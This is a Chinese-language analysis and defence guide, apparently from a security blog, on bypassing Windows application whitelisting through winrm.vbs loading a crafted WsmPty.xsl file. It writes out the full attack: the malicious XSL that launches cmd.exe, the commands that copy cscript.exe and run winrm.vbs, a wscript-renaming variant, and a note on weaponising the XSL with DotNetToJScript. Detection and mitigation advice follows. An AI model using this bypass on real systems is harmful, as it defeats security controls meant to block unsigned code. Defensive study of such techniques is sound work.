利用winrm.vbs绕过应用程序白名单执行任意未签名代码
字数 1456 2025-08-29 08:32:19

WinRM.vbs 应用程序白名单绕过技术分析与防御指南

技术概述

WinRM.vbs 是 Windows 系统中已签名的脚本文件,位于 System32 目录下。该脚本存在一个安全漏洞,允许攻击者通过特制的 XSL 文件绕过应用程序白名单限制,执行任意未签名代码。

漏洞原理

  1. XSL 脚本执行机制:当 winrm.vbs 使用 -format:pretty-format:text 选项时,会从 cscript.exe 所在目录加载对应的 WsmPty.xsl 或 WsmTxt.xsl 文件
  2. 不受限制的执行:XSL 脚本不受"开明脚本宿主"限制,可以包含任意脚本代码
  3. 路径控制:攻击者可以将 cscript.exe 复制到恶意 XSL 文件所在目录,从而控制加载的 XSL 文件

攻击实施步骤

准备阶段

  1. 创建攻击目录:

    mkdir %SystemDrive%\BypassDir
    
  2. 准备恶意 XSL 文件(示例为 WsmPty.xsl):

    <?xml version='1.0'?>
    <stylesheet xmlns="http://www.w3.org/1999/XSL/Transform"
               xmlns:ms="urn:schemas-microsoft-com:xslt"
               xmlns:user="placeholder"
               version="1.0">
      <output method="text"></output>
      <ms:script implements-prefix="user" language="JScript">
        <![CDATA[
        var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
        ]]>
      </ms:script>
    </stylesheet>
    
  3. 复制系统工具:

    copy %windir%\System32\cscript.exe %SystemDrive%\BypassDir
    

执行攻击

%SystemDrive%\BypassDir\cscript //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty

技术变种与绕过技巧

绕过 cscript.exe 检查

winrm.vbs 通过检查 WScript.FullName 是否包含 "cscript.exe" 来判断执行环境,可通过以下方式绕过:

mkdir %SystemDrive%\BypassDir\cscript.exe
copy %windir%\System32\wscript.exe %SystemDrive%\BypassDir\cscript.exe\winword.exe
%SystemDrive%\BypassDir\cscript.exe\winword.exe //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty

武器化 XSL 文件

可以将 DotNetToJScript 有效载荷嵌入 XSL 文件中,实现更复杂的攻击:

  1. 修改 XSL 文件中的 JScript 部分
  2. 使用 base64 编码或其他混淆技术隐藏恶意代码
  3. 实现内存加载和执行 .NET 程序集

检测方法

文件系统检测

  1. XSL 文件哈希验证

    • 检查 WsmPty.xsl 和 WsmTxt.xsl 的哈希是否与系统原始版本一致
    • 这些文件应位于 System32 目录,其他位置的同名文件可疑
  2. 目录签名验证

    • 合法的 XSL 文件采用目录签名
    • 检查磁盘上是否存在未签名的 WsmPty.xsl 或 WsmTxt.xsl

进程行为检测

  1. 执行上下文检测

    • 监控从非标准路径执行的 cscript.exe 或 wscript.exe
    • 检查进程树,识别异常父进程
  2. 命令行参数分析

    • 检测包含 -format:pretty-format:text 的 winrm.vbs 调用
    • 注意参数变体(大小写、引号、斜杠等)

ETW (Event Tracing for Windows) 检测

使用 AMSI ETW 提供程序捕获脚本执行:

logman start AMSITrace -p Microsoft-Antimalware-Scan-Interface Event1 -o AMSITrace.etl -ets
# 执行可疑操作
logman stop AMSITrace -ets

使用 PowerShell 解析 ETW 日志:

$AMSIScanEvents = Get-WinEvent -Path .\AMSITrace.etl -Oldest -FilterXPath '*[System[EventID=1101]]'
$AMSIScanEvents | ForEach-Object {
    # 解析事件内容
}

防御与缓解措施

应用程序控制

  1. Windows Defender 应用程序控制 (WDAC)

    • 实施用户模式代码完整性 (UMCI)
    • 使用哈希黑名单阻止易受攻击的脚本版本
  2. 脚本签名验证

    • 强制所有脚本必须经过签名
    • 限制未签名脚本的执行

系统加固

  1. 服务配置

    • 禁用不必要的 WinRM 服务
    • 限制脚本宿主的执行权限
  2. 文件系统保护

    • 监控 System32 目录下关键文件的修改
    • 限制对系统目录的写入权限

监控与响应

  1. 实时监控

    • 部署能够检测异常脚本行为的 EDR 解决方案
    • 监控 XSL 文件的创建和修改
  2. 日志分析

    • 收集和分析进程创建日志
    • 关注从非标准路径执行的系统工具

总结

WinRM.vbs 的 XSL 加载机制漏洞为攻击者提供了一种有效的应用程序白名单绕过方法。防御者需要采取多层次的安全措施,包括应用程序控制、系统加固和全面监控,才能有效防御此类攻击。组织应评估自身环境中此类技术的潜在风险,并实施相应的检测和防护措施。

WinRM.vbs 应用程序白名单绕过技术分析与防御指南 技术概述 WinRM.vbs 是 Windows 系统中已签名的脚本文件,位于 System32 目录下。该脚本存在一个安全漏洞,允许攻击者通过特制的 XSL 文件绕过应用程序白名单限制,执行任意未签名代码。 漏洞原理 XSL 脚本执行机制 :当 winrm.vbs 使用 -format:pretty 或 -format:text 选项时,会从 cscript.exe 所在目录加载对应的 WsmPty.xsl 或 WsmTxt.xsl 文件 不受限制的执行 :XSL 脚本不受"开明脚本宿主"限制,可以包含任意脚本代码 路径控制 :攻击者可以将 cscript.exe 复制到恶意 XSL 文件所在目录,从而控制加载的 XSL 文件 攻击实施步骤 准备阶段 创建攻击目录: 准备恶意 XSL 文件(示例为 WsmPty.xsl): 复制系统工具: 执行攻击 技术变种与绕过技巧 绕过 cscript.exe 检查 winrm.vbs 通过检查 WScript.FullName 是否包含 "cscript.exe" 来判断执行环境,可通过以下方式绕过: 武器化 XSL 文件 可以将 DotNetToJScript 有效载荷嵌入 XSL 文件中,实现更复杂的攻击: 修改 XSL 文件中的 JScript 部分 使用 base64 编码或其他混淆技术隐藏恶意代码 实现内存加载和执行 .NET 程序集 检测方法 文件系统检测 XSL 文件哈希验证 : 检查 WsmPty.xsl 和 WsmTxt.xsl 的哈希是否与系统原始版本一致 这些文件应位于 System32 目录,其他位置的同名文件可疑 目录签名验证 : 合法的 XSL 文件采用目录签名 检查磁盘上是否存在未签名的 WsmPty.xsl 或 WsmTxt.xsl 进程行为检测 执行上下文检测 : 监控从非标准路径执行的 cscript.exe 或 wscript.exe 检查进程树,识别异常父进程 命令行参数分析 : 检测包含 -format:pretty 或 -format:text 的 winrm.vbs 调用 注意参数变体(大小写、引号、斜杠等) ETW (Event Tracing for Windows) 检测 使用 AMSI ETW 提供程序捕获脚本执行: 使用 PowerShell 解析 ETW 日志: 防御与缓解措施 应用程序控制 Windows Defender 应用程序控制 (WDAC) : 实施用户模式代码完整性 (UMCI) 使用哈希黑名单阻止易受攻击的脚本版本 脚本签名验证 : 强制所有脚本必须经过签名 限制未签名脚本的执行 系统加固 服务配置 : 禁用不必要的 WinRM 服务 限制脚本宿主的执行权限 文件系统保护 : 监控 System32 目录下关键文件的修改 限制对系统目录的写入权限 监控与响应 实时监控 : 部署能够检测异常脚本行为的 EDR 解决方案 监控 XSL 文件的创建和修改 日志分析 : 收集和分析进程创建日志 关注从非标准路径执行的系统工具 总结 WinRM.vbs 的 XSL 加载机制漏洞为攻击者提供了一种有效的应用程序白名单绕过方法。防御者需要采取多层次的安全措施,包括应用程序控制、系统加固和全面监控,才能有效防御此类攻击。组织应评估自身环境中此类技术的潜在风险,并实施相应的检测和防护措施。